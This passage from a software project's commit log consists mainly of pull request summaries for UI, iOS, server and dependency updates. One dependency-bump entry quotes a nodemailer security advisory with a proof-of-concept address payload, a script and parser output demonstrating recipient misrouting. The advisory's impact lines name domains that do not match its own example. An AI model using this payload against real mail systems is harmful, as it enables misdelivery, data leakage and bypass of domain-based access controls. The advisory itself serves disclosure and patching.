which makes it possible to inject event listeners or logic before
content is loaded to the document when navigating a browser frame - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[fetch.requestHeaders](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which provides with a declarative and simple way to add request headers
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for setting an object to
[timer.preventTimerLoops](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which makes it possible to define different settings for `setTimeout()`
and `requestAnimationFrame()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[viewport](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which makes it possible to define a default viewport size - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the parameters `beforeContentCallback` and `headers`
to `BrowserFrame.goto()`, `BrowserFrame.goBack()`,
`BrowserFrame.goForward()`, `BrowserFrame.goSteps()` and
`BrowserFrame.reload()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `PopStateEvent` and trigger the event when navigating
the page history using `History.pushState()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Use local file paths for virtual server files in stack traces - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `ResponseCache.fileSystem.load()` and
`ResponseCache.fileSystem.save()` for storing and loading cache from the
file system - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

##### :construction\_worker\_man: Patch fixes

- Fixes a bug in the ESM compiler that caused it to fail to parse
certain code - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Disables the same origin policy when navigating a browser frame using
`BrowserFrame.goto()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Fixes bug where CSS selectors with the pseudos "+" and ">" failed for
selectors without arguments - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds try and catch to listeners for events dispatched from
`XMLHttpRequest` to prevent it from being set to an invalid state if a
listener throws an Error - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-13 14:07:31 +00:00
Cats Juice
a35332634a fix(core): correct doc icon padding in editor header (#13721)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Refined vertical spacing in the document icon picker header, reducing
excess top padding and setting a consistent bottom padding for a
cleaner, tighter layout.
* Improves visual alignment and readability without altering
functionality—interactions and behavior remain unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 09:12:01 +00:00
DarkSky
0063f039a7 feat(server): allow cleanup session for deleted docs (#13720)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Resolved occasional errors when removing document links from sessions,
ensuring cleanup completes reliably.
* Improved reliability during maintenance actions by preventing
unnecessary validation failures in system-initiated updates, while
preserving existing checks for user-initiated changes.

* **Chores**
* Internal adjustments to the session update flow to better support
maintenance operations without affecting user-facing behavior.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 12:43:21 +08:00
Cats Juice
d80ca57e94 fix(core): change doc icon layout to avoid incorrect color caused by the transform (#13719)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated document title styling for improved readability (larger font,
increased line height, heavier weight).
* Refined spacing so titles align correctly when a document icon is
present (no extra top padding).
* Improved emoji rendering by using a consistent font and removing an
unnecessary visual artifact.
* Simplified title container behavior to ensure stable, predictable
alignment without placeholder-based shifts.

* **Chores**
* Minor UI cleanup and consistency adjustments for the icon/title area.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 02:08:05 +00:00
Lakr
c63e3e7fe6 fix(ios): adopt smaller font size for small device (#13715)
This pull request makes minor adjustments to the iOS frontend app,
focusing on UI fine-tuning and improving type safety for concurrency.
The most notable changes are a small font size adjustment in the paywall
badge, marking an enum as `Sendable` for safer concurrency, and removing
a StoreKit configuration reference from the Xcode scheme.

UI adjustments:
* Reduced the font size for the badge text in `PackageOptionView` from
12 to 10 for a more refined appearance.

Concurrency and type safety:
* Added the `Sendable` protocol conformance to the `SKUnitCategory` enum
to ensure it can be safely used across concurrency boundaries.

Project configuration:
* Removed the `StoreKitConfigurationFileReference` from the
`App.xcscheme`, which may help streamline scheme configuration or
prevent unnecessary StoreKit file usage during app launch.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Tweaked paywall option badge text size for a cleaner, more polished
look.

- Refactor
- Improved concurrency safety in underlying models to enhance stability.

- Chores
- Removed a development-only StoreKit configuration from the iOS debug
launch setup.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 19:13:02 +08:00
DarkSky
05d373081a fix(server): update email verified at oauth (#13714)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Automatic email verification when signing in or reconnecting with a
linked OAuth provider: if the provider confirms the same email and your
account was unverified, your email will be marked as verified
automatically.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:46:05 +00:00
William Guinaudie
26fbde6b62 fix(core): quick search modal on mobile device (#13694)
When searching on a mobile device, the search modal is wider than the
screen, making it hard to use
<img width="345" height="454" alt="Screenshot 2025-10-04 at 17 43 54"
src="https://github.com/user-attachments/assets/10594459-86c5-470b-a22f-578363694383"
/>

Now with the fix applied, it is  usable

<img width="350" height="454" alt="Screenshot 2025-10-04 at 17 44 14"
src="https://github.com/user-attachments/assets/eb783f5b-e3b6-4b7d-8f31-0d876911d95f"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Style**
- Improved mobile responsiveness of the Quick Search modal. On screens
520px wide or smaller, the modal content now adapts its width instead of
enforcing a minimum, reducing overflow and improving readability on
small devices.
- No visual or behavioral changes on larger screens; existing layouts
and interactions remain unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:04:44 +00:00
Cats Juice
072b5b22df fix(core): display affine icon in lit correctly (#13708)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added an alternative icon rendering option for document icons,
delivering crisper visuals and consistent emoji/icon display.
- Style
- Improved icon alignment and sizing within grouped icon buttons for
more consistent centering and appearance.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Wu Yue <akumatus@gmail.com>
2025-10-09 09:04:24 +00:00
3720
3c7461a5ce fix(editor): adjust callout emoji spacing based on first child block type (#13712)
- Remove fixed marginTop from emoji container style
- Dynamically calculate emoji marginTop based on first child block type
(h1-h6)
- Use model signal to reactively update spacing when children change
- Default to 10px for non-heading blocks

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Improved emoji alignment in callout blocks. The emoji now adjusts its
top spacing based on the first line’s heading level, ensuring better
vertical alignment with headings (H1–H6) and more consistent visual
balance across different callout contents.
- Maintains existing margins and layout behavior otherwise, resulting in
a cleaner, more polished appearance without affecting functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:04:14 +00:00
DarkSky
1b859a37c5 feat: improve attachment headers (#13709)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Safer, consistent file downloads with automatic attachment headers and
filenames.
- Smarter MIME detection for uploads (avatars, workspace blobs, Copilot
files/transcripts).
  - Sensible default buffer limit when reading uploads.

- **Bug Fixes**
- Prevents risky content from rendering inline by forcing downloads and
adding no‑sniff protection.
- More accurate content types when original metadata is missing or
incorrect.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 08:04:18 +00:00
renovate[bot]
bf72833f05 chore: bump up nodemailer version to v7.0.7 [SECURITY] (#13704)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.3`
-> `7.0.7`](https://renovatebot.com/diffs/npm/nodemailer/7.0.3/7.0.7) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.3/7.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[GHSA-mm7p-fcc7-pg87](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87)

The email parsing library incorrectly handles quoted local-parts
containing @&#8203;. This leads to misrouting of email recipients, where
the parser extracts and routes to an unintended domain instead of the
RFC-compliant target.

Payload: `"xclow3n@gmail.com x"@&#8203;internal.domain`
Using the following code to send mail
```
const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();
```

Running the script and seeing how this mail is parsed according to RFC

```
Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}
```

But the email is sent to `xclow3n@gmail.com`

<img width="2128" height="439" alt="Image"
src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d"
/>

### Impact:

- Misdelivery / Data leakage: Email is sent to psres.net instead of
test.com.

- Filter evasion: Logs and anti-spam systems may be bypassed by hiding
recipients inside quoted local-parts.

-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.

- Domain based access control bypass in downstream applications using
your library to send mails

### Recommendations

-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

- Add strict validation rejecting local-parts containing embedded
@&#8203; unless fully compliant with quoting.

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v7.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#707-2025-10-05)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.6...v7.0.7)

##### Bug Fixes

- **addressparser:** Fixed addressparser handling of quoted nested email
addresses
([1150d99](1150d99fba))
- **dns:** add memory leak prevention for DNS cache
([0240d67](0240d6795d))
- **linter:** Updated eslint and created prettier formatting task
([df13b74](df13b7487e))
- refresh expired DNS cache on error
([#&#8203;1759](https://redirect.github.com/nodemailer/nodemailer/issues/1759))
([ea0fc5a](ea0fc5a663))
- resolve linter errors in DNS cache tests
([3b8982c](3b8982c1f2))

###
[`v7.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#706-2025-08-27)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.5...v7.0.6)

##### Bug Fixes

- **encoder:** avoid silent data loss by properly flushing trailing
base64
([#&#8203;1747](https://redirect.github.com/nodemailer/nodemailer/issues/1747))
([01ae76f](01ae76f2cf))
- handle multiple XOAUTH2 token requests correctly
([#&#8203;1754](https://redirect.github.com/nodemailer/nodemailer/issues/1754))
([dbe0028](dbe0028635))
- ReDoS vulnerability in parseDataURI and \_processDataUrl
([#&#8203;1755](https://redirect.github.com/nodemailer/nodemailer/issues/1755))
([90b3e24](90b3e24d23))

###
[`v7.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#705-2025-07-07)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.4...v7.0.5)

##### Bug Fixes

- updated well known delivery service list
([fa2724b](fa2724b337))

###
[`v7.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#704-2025-06-29)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.3...v7.0.4)

##### Bug Fixes

- **pools:** Emit 'clear' once transporter is idle and all connections
are closed
([839e286](839e28634c))
- **smtp-connection:** jsdoc public annotation for socket
([#&#8203;1741](https://redirect.github.com/nodemailer/nodemailer/issues/1741))
([c45c84f](c45c84fe9b))
- **well-known-services:** Added AliyunQiye
([bb9e6da](bb9e6daffb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQxLjEzMS45IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-09 04:36:15 +00:00
DarkSky
96b3de8ce7 chore: update docs 2025-10-04 19:29:45 +08:00
DarkSky
26a59db540 chore: update docs 2025-10-04 19:27:37 +08:00
Lakr
7d0b8aaa81 feat(ios): sync paywall with external purchased items (#13681)
This pull request introduces significant improvements to the integration
between the paywall feature and the web context within the iOS app. The
main focus is on enabling synchronization of subscription states between
the app and the embedded web view, refactoring how purchased items are
managed, and enhancing the paywall presentation logic. Additionally,
some debug-only code has been removed for cleaner production builds.

**Paywall and Web Context Integration**

* Added support for binding a `WKWebView` context to the paywall,
allowing the paywall to communicate with the web view for subscription
state updates and retrievals (`Paywall.presentWall` now accepts a
`bindWebContext` parameter, and `ViewModel` supports binding and using
the web context).
[[1]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR10-R32)
[[2]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0R54-R57)
[[3]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0L26-R38)
[[4]](diffhunk://#diff-1854d318d8fd8736d078f5960373ed440836263649a8193c8ee33e72a99424edL30-R36)

* On paywall dismissal, the app now triggers a JavaScript call to update
the subscription state in the web view, ensuring consistency between the
app and the web context.

**Purchased Items Refactor**

* Refactored `ViewModel` to distinguish between store-purchased items
and externally-purchased items (from the web context), and unified them
in a computed `purchasedItems` property. This improves clarity and
extensibility for handling entitlements from multiple sources.

* Added logic to fetch external entitlements by executing JavaScript in
the web view and decoding the subscription information, mapping external
plans to internal product identifiers.
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL99-R137)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR169-R209)

**Codebase Cleanup**

* Removed debug-only code for shake gesture and debug menu from
`AFFiNEViewController`, streamlining the production build.

**API and Model Enhancements**

* Made `SKUnitCategory` and its extensions public to allow broader usage
across modules, and introduced a configuration struct for the paywall.
[[1]](diffhunk://#diff-742ccf0c6bafd2db6cb9795382d556fbab90b8855ff38dc340aa39318541517dL10-R17)
[[2]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR10-R32)

**Other Minor Improvements**

* Improved constructor formatting for `PayWallPlugin` for readability.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Paywall now binds to the in-app web view so web-based subscriptions
are recognized alongside App Store purchases.
- Bug Fixes
- Entitlements combine App Store and web subscription state for more
accurate display.
- Dismissing the paywall immediately updates subscription status to
reduce stale states.
  - Improved reliability when presenting the paywall.
- Chores
  - Removed debug shake menu and debug paywall options from iOS builds.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-03 07:21:41 +00:00
Kieran Cui
856b69e1f6 fix(core): optimize settings dialog's right-side content scroll position (#13236)
In the settings dialog, when switching between different setting items,
the right-side content retains the previous scroll position. I think it
would be better for the right side to return to the top every time a
switch is made, so I submitted this PR.

**before**


https://github.com/user-attachments/assets/a2d10601-6173-41d3-8d68-6fbccc62aaa7


**after**


https://github.com/user-attachments/assets/f240348b-e131-4703-8232-1a07e924162d



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Ensured the settings dialog always scrolls to the top when the
settings state updates, improving user experience when navigating
settings.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-01 14:52:39 +00:00
renovate[bot]
5fdae9161a chore: bump up SwifterSwift/SwifterSwift version to from: "6.2.0" (#12874)
> [!NOTE]
> Mend has cancelled [the proposed
renaming](https://redirect.github.com/renovatebot/renovate/discussions/37842)
of the Renovate GitHub app being renamed to `mend[bot]`.
> 
> This notice will be removed on 2025-10-07.

<hr>

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[SwifterSwift/SwifterSwift](https://redirect.github.com/SwifterSwift/SwifterSwift)
| minor | `from: "6.0.0"` -> `from: "6.2.0"` |

---

### Release Notes

<details>
<summary>SwifterSwift/SwifterSwift (SwifterSwift/SwifterSwift)</summary>

###
[`v6.2.0`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v620)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.1.1...6.2.0)

##### Added

- **NSView**
- Added `addArrangedSubviews(_ views: )` to add an array of views to the
end of the arrangedSubviews array.
[#&#8203;1181](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1181)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- Added `removeArrangedSubviews` to remove all views in stack’s array of
arranged subviews.
[#&#8203;1181](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1181)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- **Sequence**
- `sorted(by:)`, `sorted(by:with:)`, `sorted(by:and:)`,
`sorted(by:and:and:)`, `sum(for:)`, `first(where:equals:)` now have
alternatives that receive functions as parameters. This change maintains
compatibility with KeyPath while making the methods more flexible.
[#&#8203;1170](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1170)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)

##### Changed

- **Sequence**
- `sorted(by:)`, `sorted(by:with:)`, `sorted(by:and:)`,
`sorted(by:and:and:)`, `sum(for:)`, `first(where:equals:)` now have
alternatives that receive functions as parameters. This change maintains
compatibility with KeyPath while making the methods more flexible.
[#&#8203;1170](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1170)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- `contains(_:)` for `Element: Hashable` now can receive any type that
conforms to `Sequence`, not just an `Array`.
[#&#8203;1169](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1169)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)

##### Fixed

- **PrivacyInfo.xcprivacy**
- XCode Generate Privacy Report: `Missing an expected key:
'NSPrivacyCollectedDataTypes'`.
[#&#8203;1182](https://redirect.github.com/SwifterSwift/SwifterSwift/issues/1182)
by [Phil](https://redirect.github.com/cdoky)

###
[`v6.1.1`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v611)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.1.0...6.1.1)

##### Added

- **Cocoapods**
- Added the privacy manifest to Cocoapods.
[#&#8203;1178](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1178)
by [guykogus](https://redirect.github.com/guykogus)

###
[`v6.1.0`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v610)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.0.0...6.1.0)

##### Deprecated

- **UIImageView**
- `blurred(withStyle:)` should have copied the image view and blurred
the new instance, but instead it performed the same functionality as
`blur(withStyle:)`, making the outcome unexpected as well as being
obsolete.
[#&#8203;1161](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1161)
by [guykogus](https://redirect.github.com/guykogus)

##### Added

- **Swift Package Manager**
- Added a privacy manifest to comply with Apple's requirements regarding
[Describing use of required reason
API](https://developer.apple.com/documentation/bundleresources/privacy_manifest_files/describing_use_of_required_reason_api).
[#&#8203;1176](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1176)
by [guykogus](https://redirect.github.com/guykogus)
- **Measurement**
- Added `+=`, `-=`, `*=`, `/=` to add, subtract, multiply and divide
measurements.
[#&#8203;1162](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1162)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- **Sequence**
- Added `product()` for calculating the product of all `Numeric`
elements.
[#&#8203;1168](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1168)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- Added `product(for:)` for calculating the product of the `Numeric`
property for all elements in `Sequence`.
[#&#8203;1168](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1168)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- **UIView**
- Added `removeBlur()` method for removing the applied blur effect from
the view.
[#&#8203;1159](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1159)
by [regi93](https://redirect.github.com/regi93)
- Added `makeCircle(diameter:)` method to make the view circular.
[#&#8203;1165](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1165)
by [happyduck-git](https://redirect.github.com/happyduck-git)

##### Fixed

- **UIImageView**
- Moved `blur(withStyle:)` from `UIImageView` to `UIView`, as it can be
performed on all views.
[#&#8203;1161](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1161)
by [guykogus](https://redirect.github.com/guykogus)
- **UIView**
- `GradientDirection` initializer and constants had access level
`internal` instead of `public`.
[#&#8203;1152](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1152)
by [guykogus](https://redirect.github.com/guykogus)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42MC4xIiwidXBkYXRlZEluVmVyIjoiNDEuMTMxLjkiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-30 17:41:45 +00:00
Wu Yue
03ef4625bc feat(core): handle AI subscription for pro models (#13682)
<img width="576" height="251" alt="截屏2025-09-30 14 55 20"
src="https://github.com/user-attachments/assets/947a4ab3-8b34-434d-94a6-afb5dad3d32c"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added “Subscribe to AI” action across chat experiences (panel,
content, composer, input, playground, peek view) that launches an in-app
checkout flow.
- Chat content now refreshes subscription status when opened; desktop
chat pages wire the subscription action for seamless checkout.

- **Style**
  - Polished hover state for the subscription icon in chat preferences.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 10:47:59 +00:00
EYHN
4b3ebd899b feat(ios): update js subscription api (#13678)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added on-demand subscription refresh and state retrieval in the iOS
app, enabling up-to-date subscription status and billing information.
- Exposed lightweight runtime APIs to check and update subscription
state for improved account visibility.

- Chores
- Integrated shared GraphQL package and project references to support
subscription operations.
- Updated workspace configuration to include the common GraphQL module
for the iOS app.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 03:12:51 +00:00
DarkSky
b59c1f9e57 feat(server): update claude models (#13677)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Copilot now defaults to the updated Claude Sonnet 4.5 model across
experiences for improved responses.

* **Chores**
* Consolidated available Anthropic models, removing older Sonnet 3.x
variants and standardizing Sonnet 4/4.5 options.
* Updated configuration defaults and schema mappings to reference the
new Sonnet 4.5 model.

* **Tests**
* Updated unit and end-to-end tests to reference the new model to ensure
consistent behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 02:49:55 +00:00
Cats Juice
b44fdbce0c feat(component): virtual scroll emoji groups in emoji picker (#13671)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Revamped Emoji Picker: grouped browsing with sticky group headers,
footer navigation, and a new EmojiButton for quicker selection.
  - Recent emojis with persisted history and single-tap add.
- Programmatic group navigation and callbacks for sticky-group changes.

- Style
  - Updated scroll area paddings for emoji and icon pickers.
  - Enhanced group header background for better contrast.

- Refactor
- Simplified emoji picker internals for leaner, more responsive
rendering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 01:59:39 +00:00
Cats Juice
123d50a484 feat(core): open artifacts tools automatically (#13668)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* The AI Artifact Tool now auto-opens its preview panel as soon as it
loads, giving immediate visibility without extra clicks.
* The preview initializes proactively and remains in sync as data
updates, streamlining the workflow and reducing setup friction.
* Improves first-use experience by ensuring the preview is ready and
visible on connection, enhancing responsiveness and clarity.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 01:40:59 +00:00
DarkSky
2d1caff45c feat(server): refresh subscription (#13670)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an on-demand mutation to refresh the current user's
subscriptions, syncing with RevenueCat when applicable and handling
Stripe-only cases.
* Subscription variant normalization for clearer plan information and
consistent results.

* **Tests**
* Added tests for refresh behavior: empty state, RevenueCat-backed
multi-step sync, and Stripe-only scenarios.

* **Client**
* New client operation to invoke the refresh mutation and retrieve
updated subscription fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 12:35:18 +00:00
3720
8006812bc0 refactor(editor): new icon picker (#13658)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* In-tree icon picker for Callout blocks (emoji, app icons, images) with
popup UI and editor-wide extension/service.
* Callout toolbar adds background color presets, an icon-picker action,
and a destructive Delete action.

* **Refactor**
* Replaced legacy emoji workflow with icon-based rendering, updated
state, styling, and lifecycle for callouts.

* **Tests**
